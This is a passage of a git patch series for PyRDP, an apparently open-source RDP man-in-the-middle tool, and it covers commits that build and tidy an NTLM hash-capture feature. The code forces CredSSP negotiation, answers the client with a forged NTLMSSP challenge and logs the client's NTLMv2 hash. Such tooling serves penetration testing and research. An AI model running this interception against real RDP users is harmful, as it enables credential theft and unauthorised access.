self.state.useRedirectionHost() self.onConnectionRequest(self.originalConnectionRequest) return else: - # Respond with a RDP negotiation answer to proceed and capture NTLM hashes - self.log.info("Server requires CredSSP. Closing connection with server and attempting to capture NTLM hashes.") - payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, NegotiationProtocols.CRED_SSP)) + self.log.info("Server requires CredSSP. Reconnecting with server and attempting to capture client's NTLM hashes.") self.state.ntlmCapture = True - - self.disconnector() + self.onConnectionRequest(pdu) + return else: self.log.info("The server failed the negotiation. Error: %(error)s", {"error": NegotiationFailureCode.getMessage(response.failureCode)}) payload = pdu.payload else: - payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, response.selectedProtocols)) + if self.state.ntlmCapture: + payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, NegotiationProtocols.CRED_SSP)) + else: + payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, response.selectedProtocols)) # FIXME: This should be done based on what authentication method the server selected, not on what # the client supports. From d12af01a075173e6a69edd6e1beaf4e26fa7d4f3 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Wed, 24 Nov 2021 15:28:33 -0600 Subject: [PATCH 16/24] Minor changes to nla.py --- pyrdp/security/nla.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/pyrdp/security/nla.py b/pyrdp/security/nla.py index 8f3b6b759..94c9a47c6 100644 --- a/pyrdp/security/nla.py +++ b/pyrdp/security/nla.py @@ -5,15 +5,15 @@ # import logging -from codecs import decode -from secrets import randbits +import codecs +import secrets from pyrdp.enum import NTLMSSPMessageType from pyrdp.layer import SegmentationObserver, IntermediateLayer from pyrdp.logging import LOGGER_NAMES from pyrdp.logging.formatters import NTLMSSPHashFormatter from pyrdp.parser import NTLMSSPParser -from pyrdp.pdu import NTLMSSPPDU, NTLMSSPNegotiatePDU, NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU +from pyrdp.pdu import NTLMSSPPDU, NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU from pyrdp.security import NTLMSSPState @@ -40,10 +40,10 @@ def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.Lo def getRandChallenge(self): """ - Generate a random 32-bit challenge + Generate a random 64-bit challenge """ - challenge = b'%016x' % randbits(16 * 4) - return decode(challenge, 'hex') + challenge = b'%016x' % secrets.randbits(16 * 4) + return codecs.decode(challenge, 'hex') def onUnknownHeader(self, header, data: bytes): signatureOffset = self.ntlmSSPParser.findMessage(data) @@ -54,7 +54,7 @@ def onUnknownHeader(self, header, data: bytes): if message.messageType == NTLMSSPMessageType.NEGOTIATE_MESSAGE and self.ntlmCapture: randomChallenge = self.getRandChallenge() - self.log.info("NTLMSSP Negotiation") + self.log.debug("NTLMSSP Negotiation") challenge: NTLMSSPChallengePDU = NTLMSSPChallengePDU(randomChallenge) # There might be no state if server side connection was shutdown From a1b3a59c01bb0404819472585471533e61804e6b Mon Sep 17 00:00:00 2001 From: lubiedo Date: Wed, 24 Nov 2021 15:41:03 -0600 Subject: [PATCH 17/24] Write to stream using Uint*.pack() --- pyrdp/parser/rdp/ntlmssp.py | 68 ++++++++++++++++++------------------- 1 file changed, 34 insertions(+), 34 deletions(-) diff --git a/pyrdp/parser/rdp/ntlmssp.py b/pyrdp/parser/rdp/ntlmssp.py index 1e52a0507..cdd19bdf0 100644 --- a/pyrdp/parser/rdp/ntlmssp.py +++ b/pyrdp/parser/rdp/ntlmssp.py @@ -113,9 +113,9 @@ def parseNTLMSSPTSRequest(self, data: bytes, stream: BytesIO) -> NTLMSSPTSReques # [1] negoTokens if not ber.readContextualTag(stream, 1, True): return NTLMSSPTSRequestPDU(version, negoTokens, data) - ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True) # SEQUENCE OF NegoDataItem + ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True) # SEQUENCE OF NegoDataItem ber.readLength(stream) - ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True) # NegoDataItem + ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True) # NegoDataItem ber.readLength(stream) ber.readContextualTag(stream, 0, True) @@ -134,24 +134,24 @@ def writeNTLMSSPChallenge(self, workstation: str, serverChallenge: bytes) -> byt nameLen = len(workstation) pairsLen = self.writeNTLMSSPChallengePayload(substream, workstation) - substream.write(b'NTLMSSP\x00') # signature - substream.write(Uint32LE.pack(NTLMSSPMessageType.CHALLENGE_MESSAGE)) # message type - substream.write(Uint16LE.pack(nameLen)) # workstation length - substream.write(Uint16LE.pack(nameLen)) # workstation max length - substream.write(Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET)) # workstation buffer offset - substream.write(Uint32LE.pack(NTLMSSPChallengeType.NEGOTIATE_FLAGS)) # negotiate flags - substream.write(serverChallenge) # server challenge - substream.write(Uint64LE.pack(0)) # reserved - substream.write(Uint16LE.pack(pairsLen)) # target info len - substream.write(Uint16LE.pack(pairsLen)) # target info max len - substream.write(Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET + nameLen)) # target info buffer offset - substream.write(Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MAJOR_VERSION_HIGH)) # product major version - substream.write(Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MINOR_VERSION_LOW)) # product minor version - substream.write(Uint16LE.pack(NTLMSSPChallengeVersion.NEG_PROD_VERSION_BUILT)) # product build - substream.write(Uint8.pack(0)) # reserved - substream.write(Uint8.pack(0)) # reserved - substream.write(Uint8.pack(0)) # reserved - substream.write(Uint8.pack(NTLMSSPChallengeVersion.NEG_NTLM_REVISION_CURRENT)) # NTLM revision current + substream.write(b'NTLMSSP\x00') + Uint32LE.pack(NTLMSSPMessageType.CHALLENGE_MESSAGE, substream) + Uint16LE.pack(nameLen, substream) + Uint16LE.pack(nameLen, substream) + Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET, substream) + Uint32LE.pack(NTLMSSPChallengeType.NEGOTIATE_FLAGS, substream) + substream.write(serverChallenge) + Uint64LE.pack(0, substream) + Uint16LE.pack(pairsLen, substream) + Uint16LE.pack(pairsLen, substream) + Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET + nameLen, substream) + Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MAJOR_VERSION_HIGH, substream) + Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MINOR_VERSION_LOW, substream) + Uint16LE.pack(NTLMSSPChallengeVersion.NEG_PROD_VERSION_BUILT, substream) + Uint8.pack(0, substream) + Uint8.pack(0, substream) + Uint8.pack(0, substream) + Uint8.pack(NTLMSSPChallengeVersion.NEG_NTLM_REVISION_CURRENT, substream) self.writeNTLMSSPTSRequest(stream, NTLMSSPChallengeVersion.CREDSSP_VERSION, substream.getvalue()) return stream.getvalue() @@ -166,7 +166,7 @@ def writeNTLMSSPTSRequest(self, stream: BytesIO, version: int, negoTokens: bytes stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) stream.write(ber.writeLength(negoLen + 25)) stream.write(ber.writeContextualTag(0, 3)) - stream.write(ber.writeInteger(version)) # CredSSP version + stream.write(ber.writeInteger(version)) # CredSSP version stream.write(ber.writeContextualTag(1, negoLen + 16)) stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) stream.write(ber.writeLength(negoLen + 12)) @@ -180,29 +180,29 @@ def writeNTLMSSPChallengePayload(self, stream: BytesIO, workstation: str) -> int Write CHALLENGE message payload https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786 """ - length = len(workstation) + length = len(workstation) stream.seek(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET) stream.write(workstation) pairsLen = stream.tell() - stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID)) - stream.write(Uint16LE.pack(length)) + Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID, stream) + Uint16LE.pack(length, stream) stream.write(workstation) - stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID)) - stream.write(Uint16LE.pack(length)) + Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID, stream) + Uint16LE.pack(length, stream) stream.write(workstation) - stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID)) - stream.write(Uint16LE.pack(length)) + Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID, stream) + Uint16LE.pack(length, stream) stream.write(workstation) - stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID)) - stream.write(Uint16LE.pack(length)) + Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID, stream) + Uint16LE.pack(length, stream) stream.write(workstation) - stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID)) - stream.write(Uint16LE.pack(length)) + Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID, stream) + Uint16LE.pack(length, stream) stream.write(workstation) - stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID)) - stream.write(Uint16LE.pack(0)) + Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID, stream) + Uint16LE.pack(0, stream) pairsLen = stream.tell() - pairsLen stream.seek(0) From 52bd5df4ce1f114ac176c5c550af052ee0e0f994 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Thu, 25 Nov 2021 10:35:25 -0600 Subject: [PATCH 18/24] Fix PDU in sendConnectionRequest while ntlm capture --- pyrdp/mitm/X224MITM.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/pyrdp/mitm/X224MITM.py b/pyrdp/mitm/X224MITM.py index 9c9c7f093..43efd8a4b 100644 --- a/pyrdp/mitm/X224MITM.py +++ b/pyrdp/mitm/X224MITM.py @@ -83,7 +83,7 @@ def onConnectionRequest(self, pdu: X224ConnectionRequestPDU): # Tell the server we only support the allowed authentication methods. chosenProtocols &= self.state.config.authMethods - if not self.state.ntlmCapture: + if self.state.ntlmCapture: chosenProtocols = NegotiationProtocols.SSL | NegotiationProtocols.CRED_SSP modifiedRequest = NegotiationRequestPDU( @@ -134,13 +134,12 @@ def onConnectionConfirm(self, pdu: X224ConnectionConfirmPDU): # Use redirection host and replay sequence starting from the connection request self.state.useRedirectionHost() - self.onConnectionRequest(self.originalConnectionRequest) - return else: self.log.info("Server requires CredSSP. Reconnecting with server and attempting to capture client's NTLM hashes.") self.state.ntlmCapture = True - self.onConnectionRequest(pdu) - return + + self.onConnectionRequest(self.originalConnectionRequest) + return else: self.log.info("The server failed the negotiation. Error: %(error)s", {"error": NegotiationFailureCode.getMessage(response.failureCode)}) payload = pdu.payload From dff9f5ebbe71befbac167dbba537186fc460e247 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Thu, 25 Nov 2021 10:58:53 -0600 Subject: [PATCH 19/24] Fix comment --- pyrdp/mitm/RDPMITM.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyrdp/mitm/RDPMITM.py b/pyrdp/mitm/RDPMITM.py index bef29d6c4..f7048cd1e 100644 --- a/pyrdp/mitm/RDPMITM.py +++ b/pyrdp/mitm/RDPMITM.py @@ -236,7 +236,7 @@ def doClientTls(self): self.client.tcp.startTLS(contextForClient) self.onTlsReady = None - # Add unknown packet handlers. + # Handle NLA connection for client/server ntlmSSPState = NTLMSSPState() if self.state.ntlmCapture: # We are capturing the NLA NTLMv2 hash From 70f5994aa29dc5972e6e7da3a5c456708be28b5d Mon Sep 17 00:00:00 2001 From: lubiedo Date: Thu, 25 Nov 2021 11:03:43 -0600 Subject: [PATCH 20/24] PEP8 fixes --- pyrdp/pdu/rdp/ntlmssp.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/pyrdp/pdu/rdp/ntlmssp.py b/pyrdp/pdu/rdp/ntlmssp.py index 55372bf18..e8673379c 100644 --- a/pyrdp/pdu/rdp/ntlmssp.py +++ b/pyrdp/pdu/rdp/ntlmssp.py @@ -6,9 +6,7 @@ from io import BytesIO -from pyrdp.core import ber -from pyrdp.core.packing import Uint8, Uint16LE, Uint32LE, Uint64LE -from pyrdp.enum import NTLMSSPMessageType, NTLMSSPChallengeType, NTLMSSPChallengeVersion +from pyrdp.enum import NTLMSSPMessageType from pyrdp.pdu.pdu import PDU @@ -17,15 +15,18 @@ def __init__(self, messageType: NTLMSSPMessageType): super().__init__() self.messageType = messageType + class NTLMSSPNegotiatePDU(NTLMSSPPDU): def __init__(self): super().__init__(NTLMSSPMessageType.NEGOTIATE_MESSAGE) + class NTLMSSPChallengePDU(NTLMSSPPDU): def __init__(self, serverChallenge: bytes): super().__init__(NTLMSSPMessageType.CHALLENGE_MESSAGE) self.serverChallenge = serverChallenge + class NTLMSSPChallengePayloadPDU(PDU): """ Payload of CHALLENGE message containing a data array @@ -35,6 +36,7 @@ def __init__(self, workstation: str): super().__init__() self.workstation = workstation + class NTLMSSPAuthenticatePDU(NTLMSSPPDU): def __init__(self, user: str, domain: str, proof: bytes, response: bytes): super().__init__(NTLMSSPMessageType.AUTHENTICATE_MESSAGE) @@ -43,6 +45,7 @@ def __init__(self, user: str, domain: str, proof: bytes, response: bytes): self.proof = proof self.response = response + class NTLMSSPTSRequestPDU(PDU): """ PDU for TSRequest structures used by CredSSP (client/server) for SPNEGO and Kerberos/NTLM messages @@ -52,4 +55,3 @@ def __init__(self, version: int, negoTokens: BytesIO): super().__init__() self.version = version self.negoTokens = negoTokens - From 813db052f263fff82d5843e87529ba21f9b4b8af Mon Sep 17 00:00:00 2001 From: lubiedo Date: Thu, 25 Nov 2021 11:15:08 -0600 Subject: [PATCH 21/24] Transform to `elif` --- pyrdp/mitm/X224MITM.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/pyrdp/mitm/X224MITM.py b/pyrdp/mitm/X224MITM.py index 43efd8a4b..35cbd4bd3 100644 --- a/pyrdp/mitm/X224MITM.py +++ b/pyrdp/mitm/X224MITM.py @@ -143,11 +143,10 @@ def onConnectionConfirm(self, pdu: X224ConnectionConfirmPDU): else: self.log.info("The server failed the negotiation. Error: %(error)s", {"error": NegotiationFailureCode.getMessage(response.failureCode)}) payload = pdu.payload + elif self.state.ntlmCapture: + payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, NegotiationProtocols.CRED_SSP)) else: - if self.state.ntlmCapture: - payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, NegotiationProtocols.CRED_SSP)) - else: - payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, response.selectedProtocols)) + payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, response.selectedProtocols)) # FIXME: This should be done based on what authentication method the server selected, not on what # the client supports. From 7bf3c905a543dfb7f77bc2ebd3358dd2e106fff1 Mon Sep 17 00:00:00 2001 From: lubiedo <63729414+lubiedo@users.noreply.github.com> Date: Thu, 25 Nov 2021 13:27:26 -0600 Subject: [PATCH 22/24] Update pyrdp/mitm/X224MITM.py Co-authored-by: Olivier Bilodeau --- pyrdp/mitm/X224MITM.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/pyrdp/mitm/X224MITM.py b/pyrdp/mitm/X224MITM.py index 35cbd4bd3..7dfc6e923 100644 --- a/pyrdp/mitm/X224MITM.py +++ b/pyrdp/mitm/X224MITM.py @@ -135,7 +135,8 @@ def onConnectionConfirm(self, pdu: X224ConnectionConfirmPDU): # Use redirection host and replay sequence starting from the connection request self.state.useRedirectionHost() else: - self.log.info("Server requires CredSSP. Reconnecting with server and attempting to capture client's NTLM hashes.") + # If we are not configured to redirect then we should capture the NTLM hash + self.log.info("Server requires CredSSP/NLA and we are not configured to support it. Attempting to capture client's NTLM hashes.") self.state.ntlmCapture = True self.onConnectionRequest(self.originalConnectionRequest) From 9bc5ea4112e80effb9017371dfbf7821da7a6f9d Mon Sep 17 00:00:00 2001 From: lubiedo <63729414+lubiedo@users.noreply.github.com> Date: Thu, 25 Nov 2021 13:27:41 -0600 Subject: [PATCH 23/24] Update pyrdp/mitm/X224MITM.py Co-authored-by: Olivier Bilodeau --- pyrdp/mitm/X224MITM.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/pyrdp/mitm/X224MITM.py b/pyrdp/mitm/X224MITM.py index 7dfc6e923..a26fc5722 100644 --- a/pyrdp/mitm/X224MITM.py +++ b/pyrdp/mitm/X224MITM.py @@ -84,6 +84,8 @@ def onConnectionRequest(self, pdu: X224ConnectionRequestPDU): chosenProtocols &= self.state.config.authMethods if self.state.ntlmCapture: + # If we want to capture the NTLM hash, we need to put back CredSSP in here. + # If we don't do that we will not get to the state where we can clone the certificate if needed. chosenProtocols = NegotiationProtocols.SSL | NegotiationProtocols.CRED_SSP modifiedRequest = NegotiationRequestPDU( From f2e5bd64ad2d224ec85b4be1a62dc9cda4e84133 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Fri, 26 Nov 2021 10:57:03 -0600 Subject: [PATCH 24/24] Use Uint*.unpack() to read CHALLENGE stream --- pyrdp/parser/rdp/ntlmssp.py | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/pyrdp/parser/rdp/ntlmssp.py b/pyrdp/parser/rdp/ntlmssp.py index cdd19bdf0..f5bf5cfc5 100644 --- a/pyrdp/parser/rdp/ntlmssp.py +++ b/pyrdp/parser/rdp/ntlmssp.py @@ -56,18 +56,18 @@ def parseNTLMSSPNegotiate(self, data: bytes, stream: BytesIO) -> NTLMSSPNegotiat return NTLMSSPNegotiatePDU() def parseNTLMSSPChallenge(self, data: bytes, stream: BytesIO) -> NTLMSSPChallengePDU: - workstationLen = stream.read(2) - workstationMaxLen = stream.read(2) - workstationBufferOffset = stream.read(4) - negotiateFlags = stream.read(4) + workstationLen = Uint16LE.unpack(stream) + workstationMaxLen = Uint16LE.unpack(stream) + workstationBufferOffset = Uint32LE.unpack(stream) + negotiateFlags = Uint32LE.unpack(stream) serverChallenge = stream.read(8) - reserved = stream.read(8) - targetInfoLen = stream.read(2) - targetInfoMaxLen = stream.read(2) - targetInfoBufferOffset = stream.read(4) - version = stream.read(4) + reserved = Uint64LE.unpack(stream) + targetInfoLen = Uint16LE.unpack(stream) + targetInfoMaxLen = Uint16LE.unpack(stream) + targetInfoBufferOffset = Uint32LE.unpack(stream) + version = Uint32LE.unpack(stream) reserved = stream.read(3) - revisionCurrent = stream.read(1) + revisionCurrent = Uint8.unpack(stream) return NTLMSSPChallengePDU(serverChallenge) @@ -119,7 +119,7 @@ def parseNTLMSSPTSRequest(self, data: bytes, stream: BytesIO) -> NTLMSSPTSReques ber.readLength(stream) ber.readContextualTag(stream, 0, True) - negoTokens = BytesIO(ber.readOctetString(stream)) # NegoData + negoTokens = BytesIO(ber.readOctetString(stream)) # NegoData return NTLMSSPTSRequestPDU(version, negoTokens) def parseNTLMSSPChallengePayload(self, data: bytes, stream: BytesIO, workstationLen: int) -> NTLMSSPChallengePayloadPDU: @@ -134,6 +134,10 @@ def writeNTLMSSPChallenge(self, workstation: str, serverChallenge: bytes) -> byt nameLen = len(workstation) pairsLen = self.writeNTLMSSPChallengePayload(substream, workstation) + """ + CHALLENGE_MESSAGE structure + https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786 + """ substream.write(b'NTLMSSP\x00') Uint32LE.pack(NTLMSSPMessageType.CHALLENGE_MESSAGE, substream) Uint16LE.pack(nameLen, substream) @@ -177,8 +181,9 @@ def writeNTLMSSPTSRequest(self, stream: BytesIO, version: int, negoTokens: bytes def writeNTLMSSPChallengePayload(self, stream: BytesIO, workstation: str) -> int: """ - Write CHALLENGE message payload + Write CHALLENGE message payload and AV_PAIRS https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786 + https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e """ length = len(workstation)